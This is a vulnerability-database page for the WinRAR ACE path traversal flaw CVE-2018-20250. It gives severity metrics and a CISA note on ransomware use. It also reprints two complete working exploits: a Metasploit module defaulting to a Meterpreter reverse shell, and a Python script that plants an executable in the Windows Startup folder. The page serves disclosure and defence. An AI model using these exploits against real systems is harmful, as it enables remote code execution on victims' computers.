CVE-2018-20250 : Detail

CVE-2018-20250

7.8
/
High
Directory Traversal
A01-Broken Access Control
93.38%V4
Local
2019-02-05
20h00 +00:00
2025-07-30
01h46 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

In WinRAR versions prior to and including 5.61, There is path traversal vulnerability when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename field is manipulated with specific patterns, the destination (extraction) folder is ignored, thus treating the filename as an absolute path.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-36 Absolute Path Traversal
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : WinRAR Absolute Path Traversal Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Known

Added : 2022-02-14 23h00 +00:00

Action is due : 2022-08-14 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 46756

Publication date : 2019-04-24 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # # TODO: add other non-payload files class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'RARLAB WinRAR ACE Format Input Validation Remote Code Execution', 'Description' => %q{ In WinRAR versions prior to and including 5.61, there is path traversal vulnerability when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename field is manipulated with specific patterns, the destination (extraction) folder is ignored, thus treating the filename as an absolute path. This module will attempt to extract a payload to the startup folder of the current user. It is limited such that we can only go back one folder. Therefore, for this exploit to work properly, the user must extract the supplied RAR file from one folder within the user profile folder (e.g. Desktop or Downloads). User restart is required to gain a shell. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nadav Grossman', # exploit discovery 'Imran E. Dawoodjee <imrandawoodjee.infosec@gmail.com>' # Metasploit module ], 'References' => [ ['CVE', '2018-20250'], ['EDB', '46552'], ['BID', '106948'], ['URL', 'https://research.checkpoint.com/extracting-code-execution-from-winrar/'], ['URL', 'https://apidoc.roe.ch/acefile/latest/'], ['URL', 'http://www.hugi.scene.org/online/coding/hugi%2012%20-%20coace.htm'], ], 'Platform' => 'win', 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'RARLAB WinRAR <= 5.61', {} ] ], 'DisclosureDate' => 'Feb 05 2019', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ace']), OptString.new('CUSTFILE', [ false, 'User-defined custom payload', '']), OptString.new('FILE_LIST', [false, 'List of other non-payload files to add', '']) ]) end def exploit ace_header = "" # All hex values are already in little endian. # HEAD_CRC: Lower 2 bytes of CRC32 of 49 bytes of header after HEAD_TYPE. # The bogus value for HEAD_CRC will be replaced later. ace_header << "AA" # HEAD_SIZE: header size. \x31\x00 says 49. ace_header << "\x31\x00" # HEAD_TYPE: header type. Archive header is 0. ace_header << "\x00" # HEAD_FLAGS: header flags ace_header << "\x00\x90" # ACE magic ace_header << "\x2A\x2A\x41\x43\x45\x2A\x2A" # VER_EXTRACT: version needed to extract archive ace_header << "\x14" # VER_CREATED: version used to create archive ace_header << "\x14" # HOST_CREATED: host OS for ACE used to create archive ace_header << "\x02" # VOLUME_NUM: which volume of a multi-volume archive? ace_header << "\x00" # TIME_CREATED: date and time in MS-DOS format ace_header << "\x10\x18\x56\x4E" # RESERVED1 ace_header << "\x97\x4F\xF6\xAA\x00\x00\x00\x00" # AV_SIZE: advert size ace_header << "\x16" # AV: advert which shows if registered/unregistered. # Full advert says "*UNREGISTERED VERSION*" ace_header << "\x2A\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52\x53\x49\x4F\x4E\x2A" # calculate the CRC32 of ACE header, and get the lower 2 bytes ace_header_crc32 = crc32(ace_header[4, ace_header.length]).to_s(16) ace_header_crc16 = ace_header_crc32.last(4).to_i(base=16) ace_header[0,2] = [ace_header_crc16].pack("v") # start putting the ACE file together ace_file = "" ace_file << ace_header # create headers and append file data after header unless datastore["FILE_LIST"].empty? print_status("Using the provided list of files @ #{datastore["FILE_LIST"]}...") File.binread(datastore["FILE_LIST"]).each_line do |file| file = file.chomp file_header_and_data = create_file_header_and_data(file, false, false) ace_file << file_header_and_data end end # autogenerated payload if datastore["CUSTFILE"].empty? payload_filename = "" # 72 characters payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" # 6 characters payload_filename << rand_text_alpha(6) # 4 characters payload_filename << ".exe" payload_file_header = create_file_header_and_data(payload_filename, true, false) # user-defined payload else print_status("Using a custom payload: #{::File.basename(datastore["CUSTFILE"])}") payload_filename = "" # 72 characters payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" # n characters payload_filename << ::File.basename(datastore["CUSTFILE"]) payload_file_header = create_file_header_and_data(payload_filename, true, true) end vprint_status("Payload filename: #{payload_filename.from(72)}") # append payload file header and the payload itself into the rest of the data ace_file << payload_file_header # create the file file_create(ace_file) end # The CRC implementation used in ACE does not take the last step in calculating CRC32. # That is, it does not flip the bits. Therefore, it can be easily calculated by taking # the negative bitwise OR of the usual CRC and then subtracting one from it. This is due to # the way the bitwise OR works in Ruby: unsigned integers are not a thing in Ruby, so # applying a bitwise OR on an integer will produce its negative + 1. def crc32(data) table = Zlib.crc_table crc = 0xffffffff data.unpack('C*').each { |b| crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) } -(~crc) - 1 end # create file headers for each file to put into the output ACE file def create_file_header_and_data(path, is_payload, is_custom_payload) #print_status("Length of #{path}: #{path.length}") if is_payload and is_custom_payload file_data = File.binread(path.from(72)) elsif is_payload and !is_custom_payload file_data = generate_payload_exe else file_data = File.binread(File.basename(path)) end file_data_crc32 = crc32(file_data).to_i # HEAD_CRC: Lower 2 bytes of CRC32 of the next bytes of header after HEAD_TYPE. # The bogus value for HEAD_CRC will be replaced later. file_header = "" file_header << "AA" # HEAD_SIZE: file header size. if is_payload file_header << [31 + path.length].pack("v") else file_header << [31 + ::File.basename(path).length].pack("v") end # HEAD_TYPE: header type is 1. file_header << "\x01" # HEAD_FLAGS: header flags. \x01\x80 is ADDSIZE|SOLID. file_header << "\x01\x80" # PACK_SIZE: size when packed. file_header << [file_data.length].pack("V") #print_status("#{file_data.length}") # ORIG_SIZE: original size. Same as PACK_SIZE since no compression is *truly* taking place. file_header << [file_data.length].pack("V") # FTIME: file date and time in MS-DOS format file_header << "\x63\xB0\x55\x4E" # ATTR: DOS/Windows file attribute bit field, as int, as produced by the Windows GetFileAttributes() API. file_header << "\x20\x00\x00\x00" # CRC32: CRC32 of the compressed file file_header << [file_data_crc32].pack("V") # Compression type file_header << "\x00" # Compression quality file_header << "\x03" # Parameter for decompression file_header << "\x0A\x00" # RESERVED1 file_header << "\x54\x45" # FNAME_SIZE: size of filename string if is_payload file_header << [path.length].pack("v") else # print_status("#{::File.basename(path).length}") file_header << [::File.basename(path).length].pack("v") end #file_header << [path.length].pack("v") # FNAME: filename string. Empty for now. Fill in later. if is_payload file_header << path else file_header << ::File.basename(path) end #print_status("Calculating other_file_header...") file_header_crc32 = crc32(file_header[4, file_header.length]).to_s(16) file_header_crc16 = file_header_crc32.last(4).to_i(base=16) file_header[0,2] = [file_header_crc16].pack("v") file_header << file_data end end
Exploit Database EDB-ID : 46552

Publication date : 2019-02-21 23h00 +00:00
Author : WyAtu
EDB Verified : Yes

#!/usr/bin/env python3 import os import re import zlib import binascii # The archive filename you want rar_filename = "test.rar" # The evil file you want to run evil_filename = "calc.exe" # The decompression path you want, such shown below target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe" # Other files to be displayed when the victim opens the winrar # filename_list=[] filename_list = ["hello.txt", "world.txt"] class AceCRC32: def __init__(self, buf=b''): self.__state = 0 if len(buf) > 0: self += buf def __iadd__(self, buf): self.__state = zlib.crc32(buf, self.__state) return self def __eq__(self, other): return self.sum == other def __format__(self, format_spec): return self.sum.__format__(format_spec) def __str__(self): return "0x%08x" % self.sum @property def sum(self): return self.__state ^ 0xFFFFFFFF def ace_crc32(buf): return AceCRC32(buf).sum def get_ace_crc32(filename): with open(filename, 'rb') as f: return ace_crc32(f.read()) def get_right_hdr_crc(filename): # This command may be different, it depends on the your Python3 environment. p = os.popen('py -3 acefile.py --headers %s'%(filename)) res = p.read() pattern = re.compile('right_hdr_crc : 0x(.*?) | struct') result = pattern.findall(res) right_hdr_crc = result[0].upper() return hex2raw4(right_hdr_crc) def modify_hdr_crc(shellcode, filename): hdr_crc_raw = get_right_hdr_crc(filename) shellcode_new = shellcode.replace("6789", hdr_crc_raw) return shellcode_new def hex2raw4(hex_value): while len(hex_value) < 4: hex_value = '0' + hex_value return hex_value[2:] + hex_value[:2] def hex2raw8(hex_value): while len(hex_value) < 8: hex_value = '0' + hex_value return hex_value[6:] + hex_value[4:6] + hex_value[2:4] + hex_value[:2] def get_file_content(filename): with open(filename, 'rb') as f: return str(binascii.hexlify(f.read()))[2:-1] # [2:-1] to remote b'...' def make_shellcode(filename, target_filename): if target_filename == "": target_filename = filename hdr_crc_raw = "6789" hdr_size_raw = hex2raw4(str(hex(len(target_filename)+31))[2:]) packsize_raw = hex2raw8(str(hex(os.path.getsize(filename)))[2:]) origsize_raw = packsize_raw crc32_raw = hex2raw8(str(hex(get_ace_crc32(filename)))[2:]) filename_len_raw = hex2raw4(str(hex(len(target_filename)))[2:]) filename_raw = "".join("{:x}".format(ord(c)) for c in target_filename) content_raw = get_file_content(filename) shellcode = hdr_crc_raw + hdr_size_raw + "010180" + packsize_raw \ + origsize_raw + "63B0554E20000000" + crc32_raw + "00030A005445"\ + filename_len_raw + filename_raw + "01020304050607080910A1A2A3A4A5A6A7A8A9" return shellcode def build_file(shellcode, filename): with open(filename, "wb") as f: f.write(binascii.a2b_hex(shellcode.upper())) def build_file_add(shellcode, filename): with open(filename, "ab+") as f: f.write(binascii.a2b_hex(shellcode.upper())) def build_file_once(filename, target_filename=""): shellcode = make_shellcode(filename, target_filename) build_file_add(shellcode, rar_filename) shellcode_new = modify_hdr_crc(shellcode, rar_filename) content_raw = get_file_content(rar_filename).upper() build_file(content_raw.replace(shellcode.upper(), shellcode_new.upper()).replace("01020304050607080910A1A2A3A4A5A6A7A8A9", get_file_content(filename)), rar_filename) if __name__ == '__main__': print("[*] Start to generate the archive file %s..."%(rar_filename)) shellcode_head = "6B2831000000902A2A4143452A2A141402001018564E974FF6AA00000000162A554E524547495354455245442056455253494F4E2A" build_file(shellcode_head, rar_filename) for i in range(len(filename_list)): build_file_once(filename_list[i]) build_file_once(evil_filename, target_filename) print("[+] Evil archive file %s generated successfully !"%(rar_filename))

Products Mentioned

Configuraton 0

Rarlab>>Winrar >> Version To (including) 5.61

References

https://www.exploit-db.com/exploits/46552/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/106948
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/46756/
Tags : exploit, x_refsource_EXPLOIT-DB